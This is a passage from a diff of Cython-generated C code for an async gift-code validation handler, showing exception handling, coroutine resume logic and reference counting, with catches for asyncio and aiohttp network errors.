__Pyx_GIVEREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ErrRestoreWithState(__pyx_t_2, __pyx_t_19, __pyx_t_11); + __pyx_t_2 = 0; __pyx_t_19 = 0; __pyx_t_11 = 0; + __PYX_ERR(0, 371, __pyx_L41_except_error) + } + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L40_exception_handled; + } + __pyx_L41_except_error:; + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + goto __pyx_L24_error; + __pyx_L45_try_continue:; + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + goto __pyx_L34_continue; + __pyx_L43_try_return:; + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + goto __pyx_L36_return; + __pyx_L40_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + __pyx_L46_try_end:; + } } - __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - goto __pyx_L28_exception_handled; - } - __pyx_L29_except_error:; - __Pyx_XGIVEREF(__pyx_t_16); - __Pyx_XGIVEREF(__pyx_t_17); - __Pyx_XGIVEREF(__pyx_t_18); - __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); - goto __pyx_L16_error; - __pyx_L31_try_return:; - __Pyx_XGIVEREF(__pyx_t_16); - __Pyx_XGIVEREF(__pyx_t_17); - __Pyx_XGIVEREF(__pyx_t_18); - __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); - goto __pyx_L24_return; - __pyx_L28_exception_handled:; - __Pyx_XGIVEREF(__pyx_t_16); - __Pyx_XGIVEREF(__pyx_t_17); - __Pyx_XGIVEREF(__pyx_t_18); - __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); - } - } - /*finally:*/ { - /*normal exit:*/{ - if (__pyx_t_15) { - __pyx_t_18 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__41, NULL); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_18); - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_18); - __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_t_14); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; - __Pyx_XGIVEREF(__pyx_t_18); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_18; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 5; - return __pyx_r; - __pyx_L42_resume_from_await:; - __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; - __Pyx_XGOTREF(__pyx_t_15); - __pyx_t_18 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; - __Pyx_XGOTREF(__pyx_t_18); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L16_error) - __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); - } else { - __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_3); + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_20) { + __pyx_t_23 = __Pyx_PyObject_Call(__pyx_t_20, __pyx_tuple__39, NULL); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_23); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L56_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_23); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 371, __pyx_L24_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_23 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + } + goto __pyx_L38; + } + __pyx_L34_continue: { + if (__pyx_t_20) { + __pyx_t_23 = __Pyx_PyObject_Call(__pyx_t_20, __pyx_tuple__39, NULL); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_23); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L57_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_23); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 371, __pyx_L24_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_23 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + } + goto __pyx_L30_try_continue; + } + __pyx_L36_return: { + __Pyx_PyThreadState_assign + __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_24, &__pyx_t_25, &__pyx_t_26); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_22, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_22, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_26); + __pyx_t_27 = __pyx_r; + __pyx_r = 0; + if (__pyx_t_20) { + __pyx_t_28 = __Pyx_PyObject_Call(__pyx_t_20, __pyx_tuple__39, NULL); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_28)) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_28); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_28); + __Pyx_DECREF(__pyx_t_28); __pyx_t_28 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_20); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_21); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_21; + __Pyx_XGIVEREF(__pyx_t_22); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_22; + __Pyx_XGIVEREF(__pyx_t_23); + __pyx_cur_scope->__pyx_t_15 = __pyx_t_23; + __Pyx_XGIVEREF(__pyx_t_24); + __pyx_cur_scope->__pyx_t_16 = __pyx_t_24; + __Pyx_XGIVEREF(__pyx_t_25); + __pyx_cur_scope->__pyx_t_17 = __pyx_t_25; + __Pyx_XGIVEREF(__pyx_t_26); + __pyx_cur_scope->__pyx_t_18 = __pyx_t_26; + __Pyx_XGIVEREF(__pyx_t_27); + __pyx_cur_scope->__pyx_t_19 = __pyx_t_27; + __Pyx_XGIVEREF(__pyx_t_28); + __pyx_cur_scope->__pyx_t_20 = __pyx_t_28; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L58_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_23 = __pyx_cur_scope->__pyx_t_15; + __pyx_cur_scope->__pyx_t_15 = 0; + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_24 = __pyx_cur_scope->__pyx_t_16; + __pyx_cur_scope->__pyx_t_16 = 0; + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_25 = __pyx_cur_scope->__pyx_t_17; + __pyx_cur_scope->__pyx_t_17 = 0; + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_26 = __pyx_cur_scope->__pyx_t_18; + __pyx_cur_scope->__pyx_t_18 = 0; + __Pyx_XGOTREF(__pyx_t_26); + __pyx_t_27 = __pyx_cur_scope->__pyx_t_19; + __pyx_cur_scope->__pyx_t_19 = 0; + __Pyx_XGOTREF(__pyx_t_27); + __pyx_t_28 = __pyx_cur_scope->__pyx_t_20; + __pyx_cur_scope->__pyx_t_20 = 0; + __Pyx_XGOTREF(__pyx_t_28); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 371, __pyx_L24_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 371, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_28 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_28); __pyx_t_28 = 0; + } + __pyx_r = __pyx_t_27; + __pyx_t_27 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_ExceptionReset(__pyx_t_24, __pyx_t_25, __pyx_t_26); + } + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_23, __pyx_t_22, __pyx_t_21); + __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; + goto __pyx_L28_try_return; + } + __pyx_L38:; } - __pyx_t_18 = __pyx_t_3; - __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + goto __pyx_L59; + __pyx_L32_error:; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L24_error; + __pyx_L59:; } - goto __pyx_L26; + } - __pyx_L24_return: { - __Pyx_PyThreadState_assign - __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; - if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); - if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); - __Pyx_XGOTREF(__pyx_t_18); - __Pyx_XGOTREF(__pyx_t_17); - __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; + goto __pyx_L31_try_end; + __pyx_L24_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + + __Pyx_ErrFetch(&__pyx_t_11, &__pyx_t_19, &__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_29 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_TimeoutError); if (unlikely(!__pyx_t_29)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_29); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_30 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ClientConnectorError); if (unlikely(!__pyx_t_30)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_30); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_31 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ClientResponseError); if (unlikely(!__pyx_t_31)) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_31); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_32 = __Pyx_PyErr_GivenExceptionMatches(__pyx_t_11, __pyx_t_29) || __Pyx_PyErr_GivenExceptionMatches(__pyx_t_11, __pyx_t_30) || __Pyx_PyErr_GivenExceptionMatches(__pyx_t_11, __pyx_t_31); + __Pyx_DECREF(__pyx_t_29); __pyx_t_29 = 0; + __Pyx_DECREF(__pyx_t_30); __pyx_t_30 = 0; + __Pyx_DECREF(__pyx_t_31); __pyx_t_31 = 0; + __Pyx_ErrRestore(__pyx_t_11, __pyx_t_19, __pyx_t_2); + __pyx_t_11 = 0; __pyx_t_19 = 0; __pyx_t_2 = 0; + if (__pyx_t_32) { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_19, &__pyx_t_11) < 0) __PYX_ERR(0, 384, __pyx_L26_except_error) + __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_19); - __Pyx_XGOTREF(__pyx_t_20); - __Pyx_XGOTREF(__pyx_t_21); - __pyx_t_22 = __pyx_r; - __pyx_r = 0; - if (__pyx_t_15) { - __pyx_t_23 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__41, NULL); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_23); - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_23); - __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_7); - 